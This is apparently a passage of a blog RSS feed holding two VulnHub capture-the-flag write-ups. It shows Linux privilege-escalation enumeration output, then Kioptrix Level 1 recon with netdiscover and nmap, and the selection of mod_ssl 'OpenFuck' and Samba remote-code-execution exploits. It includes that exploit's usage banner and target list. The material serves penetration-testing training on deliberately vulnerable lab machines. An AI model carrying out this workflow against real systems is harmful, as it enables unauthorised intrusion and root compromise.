rpcgssd<br>-rwxr-xr-x   1 root root     1805 May  3  2007 rpcidmapd<br>-rwxr-xr-x   1 root root     2153 May  3  2007 rpcsvcgssd<br>-rwxr-xr-x   1 root root     1547 Feb 21  2005 saslauthd<br>-rwxr-xr-x   1 root root     3349 May  2  2007 sendmail<br>-rwxr-xr-x   1 root root     1175 Jul 10  2002 single<br>-rwxr-xr-x   1 root root     2247 May  2  2007 smartd<br>-rwxr-xr-x   1 root root     3282 May  4  2007 squid<br>-rwxr-xr-x   1 root root     3105 May  2  2007 sshd<br>-rwxr-xr-x   1 root root     1369 Feb 21  2005 syslog<br>-rwxr-x---   1 root pegasus  2321 Aug 12  2006 tog-pegasus<br>-rwxr-xr-x   1 root root     2796 Feb 21  2005 tux<br>-rwxr-xr-x   1 root root     1880 Aug 12  2006 vsftpd<br>-rwxr-xr-x   1 root root     1548 Feb 15  2007 winbind<br>-rwxr-xr-x   1 root root     1650 May  2  2007 wpa_supplicant<br>-rwxr-xr-x   1 root root     3607 May  3  2007 xfs<br>-rwxr-xr-x   1 root root     2497 Aug 21  2005 xinetd<br>-rwxr-xr-x   1 root root     2822 May  2  2007 ypbind<br>-rwxr-xr-x   1 root root     1036 May  5  2007 yum<br><br><br>### SOFTWARE #############################################<br>[-] Sudo version:<br>Sudo version 1.6.7p5<br><br><br>[-] MYSQL version:<br>mysql  Ver 14.7 Distrib 4.1.22, for redhat-linux-gnu (i686) using readline 4.3<br><br><br>[-] Apache version:<br>Server version: Apache/2.0.52<br>Server built:   May  4 2007 06:25:03<br><br><br>### INTERESTING FILES ####################################<br>[-] Useful file locations:<br>/usr/bin/wget<br>/usr/bin/nmap<br>/usr/bin/gcc<br>/usr/bin/curl<br><br><br>[-] Can we read/write sensitive files:<br>-rw-r--r--  1 root root 1772 Oct 12  2009 /etc/passwd<br>-rw-r--r--  1 root root 638 Oct 12  2009 /etc/group<br>-rw-r--r--  1 root root 842 May 24  2004 /etc/profile<br>-r--------  1 root root 1141 Oct 12  2009 /etc/shadow<br><br><br>[-] SUID files:<br>-r-sr-xr-x  1 root root 46076 May  2  2007 /sbin/unix_chkpwd<br>-r-s--x--x  1 root root 20016 May  2  2007 /sbin/pam_timestamp_check<br>-r-sr-xr-x  1 root root 301242 May  2  2007 /sbin/pwdb_chkpwd<br>-rwsr-xr-x  1 root root 6096 May  2  2007 /usr/sbin/ccreds_validate<br>-rws--x--x  1 root root 30760 May  2  2007 /usr/sbin/userhelper<br>-rwsr-xr-x  1 root root 6668 Feb 21  2005 /usr/sbin/userisdnctl<br>-r-s--x---  1 root apache 10760 May  4  2007 /usr/sbin/suexec<br>-rwsr-xr-x  1 root root 15228 May  3  2007 /usr/sbin/usernetctl<br>-rws--x--x  1 root root 434644 May  2  2007 /usr/libexec/openssh/ssh-keysign<br>-rwsr-xr-x  1 root root 7396 May  2  2007 /usr/libexec/pt_chown<br>-rwsr-xr-x  1 root root 123961 May  3  2007 /usr/kerberos/bin/ksu<br>-rwsr-x---  1 root squid 9952 May  4  2007 /usr/lib/squid/pam_auth<br>-rwsr-x---  1 root squid 10208 May  4  2007 /usr/lib/squid/ncsa_auth<br>-rws--x--x  1 root root 18392 May  3  2007 /usr/bin/chsh<br>-rwsr-xr-x  1 root root 17304 May 10  2006 /usr/bin/rcp<br>---s--x--x  1 root root 93816 Aug 21  2005 /usr/bin/sudo<br>-rwsr-xr-x  1 root root 117802 May  2  2007 /usr/bin/chage<br>-rwsr-xr-x  1 root root 82772 Jul 12  2006 /usr/bin/crontab<br>-rwsr-xr-x  1 root root 12312 May 10  2006 /usr/bin/rlogin<br>-rwsr-xr-x  1 root root 8692 May 10  2006 /usr/bin/rsh<br>-rwsr-xr-x  1 root root 131181 May  2  2007 /usr/bin/gpasswd<br>-rwsr-xr-x  1 root root 42280 Apr 26  2006 /usr/bin/at<br>-rws--x--x  1 root root 7700 May  3  2007 /usr/bin/newgrp<br>-rws--x--x  1 root root 17708 May  3  2007 /usr/bin/chfn<br>-rwsr-xr-x  1 root root 19597 May  3  2007 /usr/bin/lppasswd<br>-rwsr-xr-x  1 root root 72261 May  2  2007 /usr/bin/sg<br>-r-s--x--x  1 root root 21200 Aug 21  2005 /usr/bin/passwd<br>-rwsr-xr-x  1 root root 87016 May  3  2007 /bin/mount<br>-rwsr-xr-x  1 root root 12300 May  2  2007 /bin/traceroute6<br>-rwsr-xr-x  1 root root 23844 Nov 23  2006 /bin/traceroute<br>-rwsr-xr-x  1 root root 53612 May  3  2007 /bin/umount<br>-rwsr-xr-x  1 root root 30924 May  2  2007 /bin/ping6<br>-rwsr-xr-x  1 root root 33272 May  2  2007 /bin/ping<br>-rwsr-xr-x  1 root root 61168 May  5  2007 /bin/su<br><br><br>[-] SGID files:<br>-rwxr-Sr-t  1 root root 1733 Feb  9  2012 /var/www/html/index.php<br>-rwxr-Sr-t  1 root root 199 Oct  8  2009 /var/www/html/pingit.php<br>-rwxr-sr-x  1 root root 11367 May  3  2007 /sbin/netreport<br>-rwxr-sr-x  1 root lock 15372 Apr  4  2006 /usr/sbin/lockdev<br>-rwxr-sr-x  1 root smmsp 746328 May  2  2007 /usr/sbin/sendmail.sendmail<br>-rwxr-sr-x  1 root utmp 10497 Feb 21  2005 /usr/sbin/utempter<br>-r-xr-sr-x  1 root tty 9752 May  5  2007 /usr/bin/wall<br>-rwxr-sr-x  1 root slocate 38548 Aug 21  2005 /usr/bin/slocate<br>-rwxr-sr-x  1 root mail 14636 Feb 21  2005 /usr/bin/lockfile<br>-rwxr-sr-x  1 root tty 10124 May  3  2007 /usr/bin/write<br>-rwxr-sr-x  1 root nobody 57932 May  2  2007 /usr/bin/ssh-agent<br><br><br>[+] Possibly interesting SGID files:<br>-rwxr-Sr-t  1 root root 1733 Feb  9  2012 /var/www/html/index.php<br>-rwxr-Sr-t  1 root root 199 Oct  8  2009 /var/www/html/pingit.php<br><br><br>[-] NFS config details: <br>-rw-r--r--  1 root root 0 Jan 12  2000 /etc/exports<br><br><br>[-] Can&#39;t search *.conf files as no keyword was entered<br><br>[-] Can&#39;t search *.php files as no keyword was entered<br><br>[-] Can&#39;t search *.log files as no keyword was entered<br><br>[-] Can&#39;t search *.ini files as no keyword was entered<br><br>[-] All *.conf files in /etc (recursive 1 level):<br>-rw-r--r--  1 root root 694 Feb 21  2005 /etc/syslog.conf<br>-rw-r--r--  1 root root 401 May  5  2007 /etc/yum.conf<br>-rwxr-xr-x  1 root root 1484 Jan  1  2006 /etc/request-key.conf<br>-rw-r--r--  1 root root 10 Oct  7  2009 /etc/pam_smb.conf<br>-rw-r--r--  1 root root 1623 Oct  7  2009 /etc/nsswitch.conf<br>-rw-r--r--  1 root root 658 May  3  2007 /etc/initlog.conf<br>-rw-r--r--  1 root root 216 May  3  2007 /etc/sestatus.conf<br>-rw-r--r--  1 root root 28 May  2  2007 /etc/ld.so.conf<br>-rw-r--r--  1 root root 3243 Feb 21  2005 /etc/lftp.conf<br>-rw-r--r--  1 root root 10814 Feb 20  2006 /etc/ltrace.conf<br>-rw-r--r--  1 root root 23735 Feb 21  2005 /etc/webalizer.conf<br>-rw-r--r--  1 root root 604 May  3  2007 /etc/sysctl.conf<br>-rw-r--r--  1 root root 585 Oct  7  2009 /etc/yp.conf<br>-rw-r--r--  1 root root 1895 May  2  2007 /etc/nscd.conf<br>-rw-r--r--  1 root root 3058 Oct  7  2009 /etc/smartd.conf<br>-rw-r-----  1 root root 450 May  2  2007 /etc/auditd.conf<br>-rw-r--r--  1 root root 81 May 25 00:42 /etc/resolv.conf<br>-rw-r--r--  1 root root 23488 Feb 21  2005 /etc/jwhois.conf<br>-rw-r--r--  1 root root 134 May  2  2007 /etc/pwdb.conf<br>-rw-r--r--  1 root root 2281 Oct  7  2009 /etc/krb.conf<br>-rw-r--r--  1 root root 296 Aug 21  2005 /etc/updatedb.conf<br>-rw-r--r--  1 root root 833 Aug 13  2006 /etc/gssapi_mech.conf<br>-rw-r--r--  1 root root 505 Oct 20  2006 /etc/logrotate.conf<br>-rw-r--r--  1 root root 17 Jul 23  2000 /etc/host.conf<br>-rw-r--r--  1 root root 2657 May  2  2007 /etc/warnquota.conf<br>-rw-r--r--  1 root root 615 Oct  7  2009 /etc/krb5.conf<br>-rw-r--r--  1 root root 759 Jun  1  2009 /etc/pear.conf<br>-rw-r--r--  1 root root 153 Feb 21  2005 /etc/esd.conf<br>-rw-r--r--  1 root root 1983 Feb 21  2005 /etc/mtools.conf<br>-rw-r--r--  1 root root 463 May  2  2007 /etc/cpuspeed.conf<br>-rw-r--r--  1 root root 2374 Oct  7  2009 /etc/libuser.conf<br>-rw-r--r--  1 root root 2434 May  5  2007 /etc/ntp.conf<br>-rw-r--r--  1 root root 821 Oct  1  2004 /etc/prelink.conf<br>-rw-r--r--  1 root root 1756 May 17  2006 /etc/gpm-root.conf<br>-rw-r--r--  1 root root 177 May  3  2007 /etc/idmapd.conf<br>-rw-r--r--  1 root root 0 Feb 21  2005 /etc/wvdial.conf<br>-rw-r--r--  1 root root 8738 Oct  7  2009 /etc/ldap.conf<br>-rw-r--r--  1 root root 51 Oct 12  2009 /etc/modprobe.conf<br>-rw-r--r--  1 root root 289 Aug 21  2005 /etc/xinetd.conf<br><br><br>[-] Location and Permissions (if accessible) of .bak file(s):<br>-r--r--r--  1 root root 1243 Aug 16  2003 /usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi/Filter/exec.pm.bak<br>-r--r--r--  1 root root 1471 Aug 16  2003 /usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi/Filter/sh.pm.bak<br>-r--r--r--  1 root root 2181 Aug 16  2003 /usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi/Filter/cpp.pm.bak<br>-rw-r--r--  1 root root 47 Oct 10  2009 /etc/issue.bak<br><br><br>[-] Any interesting mail in /var/mail:<br>lrwxrwxrwx  1 root root 10 Oct  7  2009 /var/mail -&gt; spool/mail<br><br><br>### SCAN COMPLETE ####################################</pre><p>The only thing that looks interesting is the kernel version. Using “searchsploit,” we can check if there is a privilege escalation exploit for it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ShEQOCubsVg1dlwkXWkpfA.png" /></figure><p>Copying the exploit from the local exploit database to check it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u0sOWOkjRTaoleq3NKQvLQ.png" /></figure><p>The author tested it on the same operating system version:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*tSu26idJ93quIfTqOm4KbQ.png" /></figure><p>Transferring the file to the target them compiling it and execute it to have root privilege</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*fjgO-683xtkJ__WaSu4Fwg.png" /></figure><p>And we have root access 🥳</p><p>That’s it for this write-up. I hope it was useful to you. Thanks for your time and see you in another article.</p><p>kfrafrvmrebfrira 😉</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa7c68e8f10c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix 1: Boot-to-Root]]></title>
            <link>https://sensei0x01.medium.com/kioptrix-1-boot-to-root-feed2ea23232?source=rss-3da79e7aaca3------2</link>
            <guid isPermaLink="false">https://medium.com/p/feed2ea23232</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[sensei0x01]]></dc:creator>
            <pubDate>Thu, 23 May 2024 16:53:50 GMT</pubDate>
            <atom:updated>2024-05-24T03:37:29.507Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8S2toDpn6GuvB0mA9rPnHg.png" /></figure><h3>Introduction</h3><p>Hello there, hopefully, everything is going well with you. In this write up we will discover together how to install, configure, and exploit Kioptrix 1 VM and achieve our ultimate goal which is having root access on that machine.</p><h3>🖥️Lab Setup</h3><ul><li>VMWare workstation</li><li>Kali Linux VM</li><li>Kioptrix Level 1 Vulnhub VM</li></ul><p>Without further ado, let&#39;s get started!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/0*8TVTbOmBObT4s-4S" /></figure><h3>⬇️Installation</h3><p>After downloading the VM from <a href="https://www.vulnhub.com/entry/kioptrix-level-1-1,22/">VulnHub</a> you will find these files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*Sa7LAGGhNsqGl9SKja6Ofg.png" /></figure><p>You can open the “Kioptix Level 1.vmx” file, also known as the virtual machine configuration file via VMWare workstation To import the VM:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*_aovF3bO6eKep4RaLarOAg.png" /><figcaption>Open a Virtual Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*xhyDwCePLdoImvtRpt-igA.png" /><figcaption>Browse to the “Kioptix Level 1.vmx” file location</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*1MPO8bGJ0D0Dy6Pi3SX0gw.png" /><figcaption>VM is imported</figcaption></figure><p><strong>Power it on and that’s it</strong>😆</p><p><strong>Note:</strong></p><blockquote>There may be an issue with the network adapter setup, so before opening directly in any of the hypervisors kindly edit the .vmx file and go to line no. “43” and replace Bridged with NAT, and then open the machine.</blockquote><h3>🔍Host Discovery</h3><p>The first thing we need to know after the machine is up is its IP address. As clear in the installation section, this machine is bridged which means the IP assigned to it is located in the pool of your local network which is 192.168.1.0/24 in my case. Many tools can perform this function, for me I’ll use “netdiscover”:</p><pre>sudo netdiscover -i eth0 -r 192.168.1.0/24</pre><p>This will show all up devices in your network</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*kgKeiaOoyLWGzLjkPIDrpg.png" /><figcaption>Up devices in 192.168.1.0/24 subnet</figcaption></figure><p>As shown above, there are three up devices 192.168.1.1 which is my home DSL modem, 192.168.1.254 which is my PC, and 192.168.1.104 and that is our Target😁.</p><h3>🕵🏼Enumeration</h3><p>After knowing the IP address, we need to check what services are running on that machine and that what we call port scanning. To do this we will use “nmap”:</p><pre>target=192.168.1.104<br>sudo nmap -sS -T4 -p- -sVC $target</pre><p>let’s explain that command:</p><p>First, I’ve assigned 192.168.1.104 to the target variable so I don’t need to recall its value each time I want to use it. -sS for stealthy scan, -T4 aggressive <a href="https://nmap.org/book/performance-timing-templates.html">Timing Templates</a>, -p- to scan all ports, -sV to <a href="https://nmap.org/book/vscan.html">service detection</a>, and -sC to use <a href="https://nmap.org/book/nse-usage.html#nse-categories">default NSE scripts</a>.</p><p>Here are the results of the Nmap scan:</p><pre>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 14:45 EDT<br>Stats: 0:00:02 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan<br>Parallel DNS resolution of 1 host. Timing: About 0.00% done<br>Nmap scan report for 192.168.1.104<br>Host is up (0.00086s latency).<br>Not shown: 65529 closed tcp ports (reset)<br>PORT     STATE SERVICE     VERSION<br>22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)<br>| ssh-hostkey: <br>|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)<br>|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)<br>|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)<br>|_sshv1: Server supports SSHv1<br>80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)<br>|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b<br>|_http-title: Test Page for the Apache Web Server on Red Hat Linux<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>111/tcp  open  rpcbind     2 (RPC #100000)<br>| rpcinfo: <br>|   program version    port/proto  service<br>|   100000  2            111/tcp   rpcbind<br>|   100000  2            111/udp   rpcbind<br>|   100024  1           1024/tcp   status<br>|_  100024  1           1024/udp   status<br>139/tcp  open  netbios-ssn Samba smbd (workgroup: DMYGROUP)<br>443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b<br>| sslv2: <br>|   SSLv2 supported<br>|   ciphers: <br>|     SSL2_DES_192_EDE3_CBC_WITH_MD5<br>|     SSL2_DES_64_CBC_WITH_MD5<br>|     SSL2_RC2_128_CBC_WITH_MD5<br>|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5<br>|     SSL2_RC4_128_EXPORT40_WITH_MD5<br>|     SSL2_RC4_64_WITH_MD5<br>|_    SSL2_RC4_128_WITH_MD5<br>|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b<br>|_http-title: 400 Bad Request<br>| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--<br>| Not valid before: 2009-09-26T09:32:06<br>|_Not valid after:  2010-09-26T09:32:06<br>|_ssl-date: 2024-05-22T18:47:55+00:00; +1m50s from scanner time.<br>1024/tcp open  status      1 (RPC #100024)<br>MAC Address: 00:0C:29:7C:3A:16 (VMware)<br>Device type: general purpose<br>Running: Linux 2.4.X<br>OS CPE: cpe:/o:linux:linux_kernel:2.4<br>OS details: Linux 2.4.9 - 2.4.18 (likely embedded)<br>Network Distance: 1 hop<br><br>Host script results:<br>|_smb2-time: Protocol negotiation failed (SMB2)<br>|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>|_clock-skew: 1m49s<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 33.55 seconds</pre><p>As shown in the results above, there are 6 open ports:</p><p>22 → SSH → OpenSSH 2.9p2</p><p>80 → http → Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)</p><p>111 → rpcbind</p><p>139 → netbios-ssn → Samba smbd (workgroup: DMYGROUP)</p><p>443 → https → Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b</p><p>1024 → RPC</p><p>The ports I’m interested in are 80, 139, and 443 let’s check if any of them is running a vulnerable service version. I’ve used “searchsploit” tool and my lovely friend Google, but before doing that we needed to know which version of SMB was running on port 139. To do that I’ve used a Metasploit module named: “auxiliary(scanner/smb/smb_version)”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMBktXSGZby4CbvZ4jZJtQ.png" /></figure><p>Now let’s search for these versions and see what kind of vulnerabilities we have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8j0GnUS_wVPBe2TDi_Qhbg.png" /><figcaption>apache mod_ssl/2.8.4 vulnerabilities</figcaption></figure><p>We have “Apache mod_ssl &lt; 2.8.7 OpenSSL — ‘OpenF***V2.c’ Remote Buffer Overflow” This exploit leads to remote code execution which means we have reverse shell 🤩. Let’s check SMB as well:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eqJEY-EX_Qg5dmn454TS6g.png" /><figcaption>Samba 2.2.1a vulnerabilities</figcaption></figure><p>This samba version is also vulnerable to remote code execution.</p><h3>👨🏻‍💻Exploitation</h3><p>From the enumeration section there are two methods to have a shell on the target machine, let’s explain each of them.</p><p><strong>Method 1:</strong></p><p>First, we need to get the exploitation code to the current working directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*id_DPaTGbLxQtWm4ZeS-hQ.png" /></figure><p>Second, we need to compile the code since it has been written in c. Check the comment in the code to see if there are any requirements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*AFpaw7atcXWY2O_Dj3K71Q.png" /><figcaption>Compiling instructions</figcaption></figure><p>After compiling the source code and running it, the help info will displayed:</p><pre>*******************************************************************<br>* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *<br>*******************************************************************<br>* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *<br>* #hackarena  irc.brasnet.org                                     *<br>* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *<br>* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *<br>* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *<br>*******************************************************************<br><br>: Usage: ./OpenFuck target box [port] [-c N]<br><br>  target - supported box eg: 0x00<br>  box - hostname or IP address<br>  port - port for ssl connection<br>  -c open N connections. (use range 40-50 if u dont know)<br><br>  Supported OffSet:<br>        0x00 - Caldera OpenLinux (apache-1.3.26)<br>        0x01 - Cobalt Sun 6.0 (apache-1.3.12)<br>        0x02 - Cobalt Sun 6.0 (apache-1.3.20)<br>        0x03 - Cobalt Sun x (apache-1.3.26)<br>        0x04 - Cobalt Sun x Fixed2 (apache-1.3.26)<br>        0x05 - Conectiva 4 (apache-1.3.6)<br>        0x06 - Conectiva 4.1 (apache-1.3.9)<br>        0x07 - Conectiva 6 (apache-1.3.14)<br>        0x08 - Conectiva 7 (apache-1.3.12)<br>        0x09 - Conectiva 7 (apache-1.3.19)<br>        0x0a - Conectiva 7/8 (apache-1.3.26)<br>        0x0b - Conectiva 8 (apache-1.3.22)<br>        0x0c - Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)<br>        0x0d - Debian GNU Linux (apache_1.3.19-1)<br>        0x0e - Debian GNU Linux (apache_1.3.22-2)<br>        0x0f - Debian GNU Linux (apache-1.3.22-2.1)<br>        0x10 - Debian GNU Linux (apache-1.3.22-5)<br>        0x11 - Debian GNU Linux (apache_1.3.23-1)<br>        0x12 - Debian GNU Linux (apache_1.3.24-2.1)<br>        0x13 - Debian Linux GNU Linux 2 (apache_1.3.24-2.1)<br>        0x14 - Debian GNU Linux (apache_1.3.24-3)<br>        0x15 - Debian GNU Linux (apache-1.3.26-1)<br>        0x16 - Debian GNU Linux 3.0 Woody (apache-1.3.26-1)<br>        0x17 - Debian GNU Linux (apache-1.3.27)<br>        0x18 - FreeBSD (apache-1.3.9)<br>        0x19 - FreeBSD (apache-1.3.11)<br>        0x1a - FreeBSD (apache-1.3.12.1.40)<br>        0x1b - FreeBSD (apache-1.3.12.1.40)<br>        0x1c - FreeBSD (apache-1.3.12.1.40)<br>        0x1d - FreeBSD (apache-1.3.12.1.40_1)<br>        0x1e - FreeBSD (apache-1.3.12)<br>        0x1f - FreeBSD (apache-1.3.14)<br>        0x20 - FreeBSD (apache-1.3.14)<br>        0x21 - FreeBSD (apache-1.3.14)<br>        0x22 - FreeBSD (apache-1.3.14)<br>        0x23 - FreeBSD (apache-1.3.14)<br>        0x24 - FreeBSD (apache-1.3.17_1)<br>        0x25 - FreeBSD (apache-1.3.19)<br>        0x26 - FreeBSD (apache-1.3.19_1)<br>        0x27 - FreeBSD (apache-1.3.20)<br>        0x28 - FreeBSD (apache-1.3.20)<br>        0x29 - FreeBSD (apache-1.3.20+2.8.4)<br>        0x2a - FreeBSD (apache-1.3.20_1)<br>        0x2b - FreeBSD (apache-1.3.22)<br>        0x2c - FreeBSD (apache-1.3.22_7)<br>        0x2d - FreeBSD (apache_fp-1.3.23)<br>        0x2e - FreeBSD (apache-1.3.24_7)<br>        0x2f - FreeBSD (apache-1.3.24+2.8.8)<br>        0x30 - FreeBSD 4.6.2-Release-p6 (apache-1.3.26)<br>        0x31 - FreeBSD 4.6-Realease (apache-1.3.26)<br>        0x32 - FreeBSD (apache-1.3.27)<br>        0x33 - Gentoo Linux (apache-1.3.24-r2)<br>        0x34 - Linux Generic (apache-1.3.14)<br>        0x35 - Mandrake Linux X.x (apache-1.3.22-10.1mdk)<br>        0x36 - Mandrake Linux 7.1 (apache-1.3.14-2)<br>        0x37 - Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)<br>        0x38 - Mandrake Linux 7.2 (apache-1.3.14-2mdk)<br>        0x39 - Mandrake Linux 7.2 (apache-1.3.14) 2<br>        0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)<br>        0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)<br>        0x3c - Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)<br>        0x3d - Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)<br>        0x3e - Mandrake Linux 8.0 (apache-1.3.19-3)<br>        0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)<br>        0x40 - Mandrake Linux 8.2 (apache-1.3.23-4)<br>        0x41 - Mandrake Linux 8.2 #2 (apache-1.3.23-4)<br>        0x42 - Mandrake Linux 8.2 (apache-1.3.24)<br>        0x43 - Mandrake Linux 9 (apache-1.3.26)<br>        0x44 - RedHat Linux ?.? GENERIC (apache-1.3.12-1)<br>        0x45 - RedHat Linux TEST1 (apache-1.3.12-1)<br>        0x46 - RedHat Linux TEST2 (apache-1.3.12-1)<br>        0x47 - RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)<br>        0x48 - RedHat Linux 4.2 (apache-1.1.3-3)<br>        0x49 - RedHat Linux 5.0 (apache-1.2.4-4)<br>        0x4a - RedHat Linux 5.1-Update (apache-1.2.6)<br>        0x4b - RedHat Linux 5.1 (apache-1.2.6-4)<br>        0x4c - RedHat Linux 5.2 (apache-1.3.3-1)<br>        0x4d - RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)<br>        0x4e - RedHat Linux 6.0 (apache-1.3.6-7)<br>        0x4f - RedHat Linux 6.0 (apache-1.3.6-7)<br>        0x50 - RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)<br>        0x51 - RedHat Linux 6.0 Update (apache-1.3.24)<br>        0x52 - RedHat Linux 6.1 (apache-1.3.9-4)1<br>        0x53 - RedHat Linux 6.1 (apache-1.3.9-4)2<br>        0x54 - RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)<br>        0x55 - RedHat Linux 6.1-fp2000 (apache-1.3.26)<br>        0x56 - RedHat Linux 6.2 (apache-1.3.12-2)1<br>        0x57 - RedHat Linux 6.2 (apache-1.3.12-2)2<br>        0x58 - RedHat Linux 6.2 mod(apache-1.3.12-2)3<br>        0x59 - RedHat Linux 6.2 update (apache-1.3.22-5.6)1<br>        0x5a - RedHat Linux 6.2-Update (apache-1.3.22-5.6)2<br>        0x5b - Redhat Linux 7.x (apache-1.3.22)<br>        0x5c - RedHat Linux 7.x (apache-1.3.26-1)<br>        0x5d - RedHat Linux 7.x (apache-1.3.27)<br>        0x5e - RedHat Linux 7.0 (apache-1.3.12-25)1<br>        0x5f - RedHat Linux 7.0 (apache-1.3.12-25)2<br>        0x60 - RedHat Linux 7.0 (apache-1.3.14-2)<br>        0x61 - RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)<br>        0x62 - RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)<br>        0x63 - RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)<br>        0x64 - RedHat Linux 7.1 (apache-1.3.19-5)1<br>        0x65 - RedHat Linux 7.1 (apache-1.3.19-5)2<br>        0x66 - RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)<br>        0x67 - RedHat Linux 7.1-Update (1.3.22-5.7.1)<br>        0x68 - RedHat Linux 7.1 (apache-1.3.22-src)<br>        0x69 - RedHat Linux 7.1-Update (1.3.27-1.7.1)<br>        0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1<br>        0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2<br>        0x6c - RedHat Linux 7.2-Update (apache-1.3.22-6)<br>        0x6d - RedHat Linux 7.2 (apache-1.3.24)<br>        0x6e - RedHat Linux 7.2 (apache-1.3.26)<br>        0x6f - RedHat Linux 7.2 (apache-1.3.26-snc)<br>        0x70 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)1<br>        0x71 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)2<br>        0x72 - RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)<br>        0x73 - RedHat Linux 7.3 (apache-1.3.23-11)1<br>        0x74 - RedHat Linux 7.3 (apache-1.3.23-11)2<br>        0x75 - RedHat Linux 7.3 (apache-1.3.27)<br>        0x76 - RedHat Linux 8.0 (apache-1.3.27)<br>        0x77 - RedHat Linux 8.0-second (apache-1.3.27)<br>        0x78 - RedHat Linux 8.0 (apache-2.0.40)<br>        0x79 - Slackware Linux 4.0 (apache-1.3.6)<br>        0x7a - Slackware Linux 7.0 (apache-1.3.9)<br>        0x7b - Slackware Linux 7.0 (apache-1.3.26)<br>        0x7c - Slackware 7.0  (apache-1.3.26)2<br>        0x7d - Slackware Linux 7.1 (apache-1.3.12)<br>        0x7e - Slackware Linux 8.0 (apache-1.3.20)<br>        0x7f - Slackware Linux 8.1 (apache-1.3.24)<br>        0x80 - Slackware Linux 8.1 (apache-1.3.26)<br>        0x81 - Slackware Linux 8.1-stable (apache-1.3.26)<br>        0x82 - Slackware Linux (apache-1.3.27)<br>        0x83 - SuSE Linux 7.0 (apache-1.3.12)<br>        0x84 - SuSE Linux 7.1 (apache-1.3.17)<br>        0x85 - SuSE Linux 7.2 (apache-1.3.19)<br>        0x86 - SuSE Linux 7.3 (apache-1.3.20)<br>        0x87 - SuSE Linux 8.0 (apache-1.3.23)<br>        0x88 - SUSE Linux 8.0 (apache-1.3.23-120)<br>        0x89 - 